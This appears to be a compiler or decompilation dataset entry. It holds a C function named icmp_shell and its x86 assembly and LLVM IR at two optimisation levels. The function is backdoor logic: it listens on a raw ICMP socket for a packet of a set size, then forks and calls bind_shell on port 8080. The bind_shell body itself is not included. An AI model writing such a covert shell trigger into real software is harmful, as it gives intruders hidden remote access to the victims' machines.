#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int dummy;
};
struct sockaddr {
  int dummy;
};
struct protoent {
  int /*<<< orphan*/ p_proto;
};
typedef int /*<<< orphan*/ pkt;
typedef int /*<<< orphan*/ from;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_RAW;
int /*<<< orphan*/ bind_shell(int);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int fork();
struct protoent *getprotobyname(char *);
int /*<<< orphan*/ printf(char *, int);
int recvfrom(int, char *, int, int /*<<< orphan*/, struct sockaddr *, int *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int icmp_shell() {
  int i, s, size, fromlen, port = 8080;
  char pkt[4096];
  struct protoent *proto;
  struct sockaddr_in from;
  proto = getprotobyname("icmp");
  if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
    exit(0);
  while (1) {
    do {
      fromlen = sizeof(from);
      if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from,
                           &fromlen)) < 0)
        printf("", size - 28);
    } while (size != 101 + 28);
    switch (fork()) {
    case -1:
      continue;
    case 0:
      bind_shell(port);
      exit(0);
    }
  }
  return 1;
}


x86 assembly (clang, -O0):
<icmp_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x1040,%rsp
movl   $0x1f90,-0x14(%rbp)
lea    0xe77(%rip),%rdi
call   1060 <getprotobyname@plt>
mov    %rax,-0x1028(%rbp)
mov    0x2e4c(%rip),%rax
mov    (%rax),%edi
mov    0x2e3b(%rip),%rax
mov    (%rax),%esi
mov    -0x1028(%rbp),%rax
mov    (%rax),%edx
call   1090 <socket@plt>
mov    %eax,-0x8(%rbp)
cmp    $0x0,%eax
jge    11c8 <icmp_shell+0x58>
xor    %edi,%edi
call   1070 <exit@plt>
jmp    11cd <icmp_shell+0x5d>
jmp    11d2 <icmp_shell+0x62>
movl   $0x4,-0x10(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x1020(%rbp),%rsi
lea    -0x1030(%rbp),%r8
mov    $0x1000,%edx
xor    %ecx,%ecx
lea    -0x10(%rbp),%r9
call   1050 <recvfrom@plt>
mov    %eax,-0xc(%rbp)
cmp    $0x0,%eax
jge    1218 <icmp_shell+0xa8>
mov    -0xc(%rbp),%esi
sub    $0x1c,%esi
lea    0xdf1(%rip),%rdi
call   1030 <printf@plt>
jmp    121d <icmp_shell+0xad>
cmpl   $0x81,-0xc(%rbp)
jne    11d2 <icmp_shell+0x62>
xor    %eax,%eax
call   1080 <fork@plt>
mov    %eax,%ecx
mov    %ecx,-0x1034(%rbp)
sub    $0xffffffff,%eax
je     125a <icmp_shell+0xea>
jmp    1247 <icmp_shell+0xd7>
mov    -0x1034(%rbp),%eax
test   %eax,%eax
je     125f <icmp_shell+0xef>
jmp    126e <icmp_shell+0xfe>
jmp    11cd <icmp_shell+0x5d>
mov    -0x14(%rbp),%edi
call   1040 <bind_shell@plt>
xor    %edi,%edi
call   1070 <exit@plt>
jmp    11cd <icmp_shell+0x5d>

x86 assembly (clang, -O2):
<icmp_shell>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x1018,%rsp
lea    0xe78(%rip),%rdi
call   1060 <getprotobyname@plt>
mov    0x2e54(%rip),%rcx
mov    (%rcx),%edi
mov    0x2e43(%rip),%rcx
mov    (%rcx),%esi
mov    (%rax),%edx
call   1090 <socket@plt>
test   %eax,%eax
js     1228 <icmp_shell+0xb8>
mov    %eax,%ebx
lea    0x10(%rsp),%r14
lea    0x8(%rsp),%r15
lea    0x4(%rsp),%r12
lea    0xe42(%rip),%r13
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
movl   $0x4,0x4(%rsp)
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0x1000,%edx
xor    %ecx,%ecx
mov    %r15,%r8
mov    %r12,%r9
call   1050 <recvfrom@plt>
mov    %eax,%ebp
test   %eax,%eax
js     1200 <icmp_shell+0x90>
cmp    $0x81,%ebp
jne    11d0 <icmp_shell+0x60>
jmp    1213 <icmp_shell+0xa3>
nop
lea    -0x1c(%rbp),%esi
mov    %r13,%rdi
call   1030 <printf@plt>
cmp    $0x81,%ebp
jne    11d0 <icmp_shell+0x60>
xor    %eax,%eax
call   1080 <fork@plt>
test   %eax,%eax
jne    11d0 <icmp_shell+0x60>
mov    $0x1f90,%edi
call   1040 <bind_shell@plt>
xor    %edi,%edi
call   1070 <exit@plt>

LLVM IR (-O0):
%struct.protoent = type { i32 }
%struct.sockaddr_in = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [5 x i8] c"icmp\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@.str.1 = [1 x i8] zeroinitializer
define i32 @icmp_shell() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca [4096 x i8]
%7 = alloca %struct.protoent*
%8 = alloca %struct.sockaddr_in
store i32 8080, i32* %5
%9 = call %struct.protoent* @getprotobyname(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
store %struct.protoent* %9, %struct.protoent** %7
%10 = load i32, i32* @AF_INET
%11 = load i32, i32* @SOCK_RAW
%12 = load %struct.protoent*, %struct.protoent** %7
%13 = getelementptr inbounds %struct.protoent, %struct.protoent* %12, i32 0, i32 0
%14 = load i32, i32* %13
%15 = call i32 @socket(i32 %10, i32 %11, i32 %14)
store i32 %15, i32* %2
%16 = icmp slt i32 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %0
%18 = call i32 @exit(i32 0)
unreachable
19: ; preds = %0
br label %20
20: ; preds = %19, %37, %42
br label %21
21: ; preds = %32, %20
store i32 4, i32* %4
%22 = load i32, i32* %2
%23 = getelementptr inbounds [4096 x i8], [4096 x i8]* %6, i64 0, i64 0
%24 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%25 = call i32 @recvfrom(i32 %22, i8* %23, i32 4096, i32 0, %struct.sockaddr* %24, i32* %4)
store i32 %25, i32* %3
%26 = icmp slt i32 %25, 0
br i1 %26, label %27, label %31
27: ; preds = %21
%28 = load i32, i32* %3
%29 = sub nsw i32 %28, 28
%30 = call i32 @printf(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.1, i64 0, i64 0), i32 %29)
br label %31
31: ; preds = %27, %21
br label %32
32: ; preds = %31
%33 = load i32, i32* %3
%34 = icmp ne i32 %33, 129
br i1 %34, label %21, label %35
35: ; preds = %32
%36 = call i32 (...) @fork()
switch i32 %36, label %42 [
i32 -1, label %37
i32 0, label %38
]
37: ; preds = %35
br label %20
38: ; preds = %35
%39 = load i32, i32* %5
%40 = call i32 @bind_shell(i32 %39)
%41 = call i32 @exit(i32 0)
unreachable
42: ; preds = %35
br label %20
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32 }
%struct.protoent = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [5 x i8] c"icmp\00"
@AF_INET = global i32 0
@SOCK_RAW = global i32 0
@.str.1 = [1 x i8] zeroinitializer
define i32 @icmp_shell() {
%1 = alloca i32
%2 = alloca [4096 x i8]
%3 = alloca %struct.sockaddr_in
%4 = bitcast i32* %1 to i8*
%5 = getelementptr inbounds [4096 x i8], [4096 x i8]* %2, i64 0, i64 0
%6 = bitcast %struct.sockaddr_in* %3 to i8*
%7 = tail call %struct.protoent* @getprotobyname(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%8 = load i32, i32* @AF_INET
%9 = load i32, i32* @SOCK_RAW
%10 = getelementptr inbounds %struct.protoent, %struct.protoent* %7, i64 0, i32 0
%11 = load i32, i32* %10
%12 = tail call i32 @socket(i32 %8, i32 %9, i32 %11)
%13 = icmp slt i32 %12, 0
br i1 %13, label %16, label %14
14: ; preds = %0
%15 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
br label %18
16: ; preds = %0
%17 = tail call i32 @exit(i32 0)
unreachable
18: ; preds = %26, %14
store i32 4, i32* %1
%19 = call i32 @recvfrom(i32 %12, i8* %5, i32 4096, i32 0, %struct.sockaddr* %15, i32* %1)
%20 = icmp slt i32 %19, 0
br i1 %20, label %21, label %24
21: ; preds = %18
%22 = add nsw i32 %19, -28
%23 = call i32 @printf(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str.1, i64 0, i64 0), i32 %22)
br label %24
24: ; preds = %18, %21
%25 = icmp eq i32 %19, 129
br i1 %25, label %27, label %26
26: ; preds = %24, %27
br label %18
27: ; preds = %24
%28 = call i32 (...) @fork()
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %26
30: ; preds = %27
%31 = call i32 @bind_shell(i32 8080)
%32 = call i32 @exit(i32 0)
unreachable
}